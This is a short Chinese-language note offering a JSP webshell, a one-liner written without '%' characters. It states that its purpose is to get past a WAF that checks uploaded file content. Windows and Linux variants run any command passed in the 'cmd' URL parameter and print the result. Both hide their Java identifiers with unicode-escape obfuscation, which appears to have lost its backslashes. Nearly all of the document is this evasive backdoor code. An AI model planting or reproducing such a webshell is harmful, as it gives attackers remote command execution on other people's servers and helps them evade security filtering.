JSP无%%号命令执行一句话
- 利用场景:WAF 禁止用户上传可执行文件,进行了文件内容判断。
- 后续自己回来做点其他的版本。
example:http://127.0.0.1/shell.jsp?cmd=whoami
win:
<jsp:scriptlet>
if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063("cmd.exe /c " + u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
</jsp:scriptlet>
Linux:
<jsp:scriptlet>
if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
</jsp:scriptlet>